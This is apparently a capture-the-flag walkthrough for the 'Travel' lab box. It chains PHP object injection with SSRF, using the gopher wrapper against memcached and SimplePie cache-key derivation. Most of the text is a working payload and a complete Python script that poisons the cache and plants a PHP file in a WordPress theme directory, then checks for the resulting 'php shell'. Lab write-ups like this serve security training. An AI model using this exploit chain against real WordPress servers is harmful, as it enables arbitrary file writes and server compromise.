Travel Box !

PHP Object Injection !!!
Code :
<?php
class TemplateHelper{

    public $file = "h3x.php";
    public $data = "<?php echo 'Mr_hex :( '; ";
}

print serialize(new TemplateHelper);

?>
 #OutPut :
O:14:"TemplateHelper":2:{s:4:"file";s:7:"h3x.php";s:4:"data";s:25:"<?php echo 'Mr_hex :( '; ";}

let's set Value on memcached !!
set xct_4e5612ba079c530a6b1f148c0b352241 4 0
xct_
look at this link !
https://github.com/WordPress/WordPress/blob/master/wp-includes/SimplePie/Cache/Memcached.php#L84
 'prefix'  => 'simplepie_', by defulte !!
so on script : xct_
look at rss_template.php
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');

4e5612ba079c530a6b1f148c0b352241
http://www.travel.htb/newsfeed/customfeed.xml => md5 => 3903a76d1e6fef0d76e973a0561cbfc0
3903a76d1e6fef0d76e973a0561cbfc0:spc => md5 => 4e5612ba079c530a6b1f148c0b352241
let's see here :
https://github.com/tarunkant/Gopherus/blob/master/scripts/PHPMemcached.py
payload = "%0d%0aset SpyD3r 4 0 " + str(len(code)) + "%0d%0a" +  code + "%0d%0a"
SpyD3r = xct_4e5612ba079c530a6b1f148c0b352241
code = O:14:"TemplateHelper":2:{s:4:"file";s:7:"hex.php";s:4:"data";s:25:"<?php echo 'Mr_hex :( '; ";}
str(len(code)) = len of code
payload = "_%0d%0aset%20xct_4e5612ba079c530a6b1f148c0b352241%204%200%2095%0d%0aO:14:"TemplateHelper":2:{s:4:"file";s:7:"hex.php";s:4:"data";s:25:"<?php echo 'Mr_hex :( '; ";}%0d%0a"
replace "+" to "%20" and replace "%25" to "%"

then let's set value throug SSRF
there are a lot of ways to bypass SSRF filter !
read here : https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html
we'll use gopher wrapper
https://github.com/tarunkant/Gopherus

Python Script !


import requests
import urllib

url = "http://blog.travel.htb/"
code = """O:14:"TemplateHelper":2:{s:4:"file";s:7:"hex.php";s:4:"data";s:25:"<?php echo 'Mr_hex :( '; ";}"""
payload = "%0d%0aset xct_4e5612ba079c530a6b1f148c0b352241 4 0 " + str(len(code)) + "%0d%0a" +  code + "%0d%0a"
encodPayload = urllib.quote_plus(payload).replace("+","%20").replace("%25","%")
exploit = "gopher://0:11211/_{}".format(encodPayload)

print("[+] Trying to inject payload !!")

ssrf_url = url+"awesome-rss/?debug=yes&custom_feed_url="+exploit
print("[+] {}".format(ssrf_url))
r = requests.get(ssrf_url)

r = requests.get(url+"awesome-rss/")
check_shell = url + "wp-content/themes/twentytwenty/logs/hex.php"

r_check = requests.get(check_shell)
if r_check.status_code == 200:
   print("[+] Your php shell : {}".format(check_shell))
else:
   print("[-] something went wrong !!")

print("[+] Have a Good Time ):")